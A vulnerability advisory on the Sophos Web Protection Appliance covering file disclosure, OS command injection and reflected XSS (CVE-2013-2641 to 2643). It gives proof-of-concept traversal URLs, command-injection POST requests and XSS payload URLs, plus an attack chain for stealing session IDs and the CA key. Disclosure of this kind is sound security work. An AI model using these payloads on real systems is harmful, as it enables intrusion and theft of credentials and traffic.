Vendor/product description:
-----------------------------
"Our award-winning Secure Web Gateway appliances make web protection easy.
They are quick to setup, simple to manage and make policy administration a
snap, even for non-technical users."
URL: http://www.sophos.com/en-us/products/web/web-protection.aspx
Business recommendation:
------------------------
SEC Consult has identified several vulnerabilities within the components of
the Sophos Web Protection Appliance in the course of a short crash test. Some
components have been spot-checked, while others have not been tested at all.
An attacker can get unauthorized access to the appliance and plant backdoors or
access configuration files containing credentials for other systems (eg. Active
Directory/FTP login) which can be used in further attacks.
Since all web traffic passes through the appliance, interception of HTTP as
well as the plaintext form of HTTPS traffic (if HTTPS Scanning feature in use),
including sensitive information like passwords and session Cookies is possible.
If HTTPS Scanning is enabled, the appliance holds a private key for a
Certificate Authority (CA) certificate that is installed/trusted on all
workstations in the company. If this private key is compromised by an attacker,
arbitrary certificates can be signed. These certificates will then pass
validation on the client machines, enabling in various attacks targeting
clients (MITM, phishing, evilgrade, ...).
The recommendation of SEC Consult is to switch off the product until a
comprehensive security audit based on a security source code review has been
performed and all identified security deficiencies have been resolved by the
vendor.
Vulnerability overview/description:
-----------------------------------
1) Unauthenticated local file disclosure (CVE-2013-2641)
Unauthenticated users can read arbitrary files from the filesystem with the
privileges of the "spiderman" operating system user. These files include
configuration files containing sensitive information such as clear text
passwords which can be used in other attacks.
Furthermore the webserver log file which holds valid PHP session IDs can be
accessed. With this information administrator users can be impersonated.
2) OS command injection (CVE-2013-2642)
Authenticated users can execute arbitrary commands on the underlying
operating system with the privileges of the "spiderman" operating system user.
This can be used to get persistent access to the affected system (eg. by
planting backdoors), accessing all kinds locally stored information or
intercepting web traffic that passes through the appliance.
Unauthenticated users can exploit this kind of vulnerability too (depends on
appliance configuration).
3) Reflected Cross Site Scripting (XSS) (CVE-2013-2643)
Reflected Cross Site Scripting vulnerabilities were found. An attacker can use
these vulnerabilities the exploit other vulnerabilities in the web interface
or conducting phishing attacks.
Proof of concept:
-----------------
1) Unauthenticated local file disclosure (CVE-2013-2641)
As an example, an unauthenticated user can download the configuration file
containing the salted hash of the administrator password as well as clear text
passwords e.g. for FTP backup storage or Active Directory authentication:
https://<host>/cgi-bin/patience.cgi?id=../../persist/config/shared.conf%00
Furthermore the Apache access log can be retrieved. As PHP session IDs are
passed via the URL rather than via Cookies, these can be found in this log
file and effectively used to impersonate administrator users:
https://<host>/cgi-bin/patience.cgi?id=../../log/ui_access_log%00
An excerpt from the log file shows that it contains PHP session ID information
(parameter "STYLE").
<host> - - [21/Feb/2013:17:02:17 +0000] "POST /index.php?c=dashboard HTTP/1.1" 200 139
"https://<host>/index.php?section=configuration&c=configuration&STYLE=8514d0a3c2fc9f8d47e2988076778153"
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0"
2) OS command injection (CVE-2013-2642)
The "Diagnostic Tools" functionality allows an authenticated user to inject
arbitrary operating system commands enclosed in backticks (`). These commands
are run with the privileges of the operating system user "spiderman":
POST /index.php?c=diagnostic_tools HTTP/1.1
Host: <host>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 92
Cache-Control: no-cache
action=wget§ion=configuration&STYLE=<valid session id>&url=%60sleep%205%60
The "Local Site List" functionality allows injection of arbitrary OS commands:
POST /index.php?c=local_site_list_editor HTTP/1.1
Host: <host>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 205
STYLE=<valid session
id>&action=save&entries=[{"url"%3a+".'`sleep+10`'",+"range"%3a+"no",+"tld"%3a+"yes",+"valid_range"%3a+"no"}]
Note: Unauthenticated users can retrieve valid session IDs using the
vulnerability in 1).
If a customized template for the "Block page" uses the variable
"%%user_workstation%%", an _unauthenticated_ user can inject OS commands using the
following URL:
https://<host>/end-user/index.php?reason=application&client-ip=%20%60sleep+10%60
3) Reflected Cross Site Scripting (XSS) (CVE-2013-2643)
The following URLs demonstrate reflected Cross Site Scripting vulnerabilities:
https://<host>/rss.php?action=allow&xss=%3Cscript%3Ealert%28String.fromCharCode%28120,%20115,%20115%29%29%3C/script%3E
https://<host>/end-user/errdoc.php?e=530&msg=PHNjcmlwdD5hbGVydCgneHNzJyk7PC9zY3JpcHQ%2bCg%3d%3d
https://<host>/end-user/ftp_redirect.php?r=x&h=%3C/script%3E%3Cscript%3Ealert%281%29%3b%3C/script%3E
https://<host>/index.php?c=blocked&reason=malware&user=&&threat=%3Cscript%3Ealert%281%29%3C/script%3E
As the application uses URL parameters to transmit session IDs and rather
than cookies, session stealing attacks cannot be executed using these flaws.
However, these vulnerabilities can still be used to fake login pages for
phishing purposes.
Furthermore the vulnerabilities in 1) and 2) can be exploited via one of the
XSS vulnerabilities. This enables attacks on the appliance even when the
web interface would otherwise not be reachable to the attacker.
Possible attack scenario:
Use XSS to run malicous Javascript in the browser of a user who has network
access to the web interface. This code can:
- Exploit the local file disclosure vulnerability (see 1) in order to gain
access to valid session IDs and impersonate administrator users.
- Exploit the OS command injection (see 2) in order to execute arbitrary
commands on the system.
- Exfiltrate sensitive information like HTTP, (plaintext) HTTPS traffic or the
private key for the CA certificate used for HTTPS scanning (MITM).
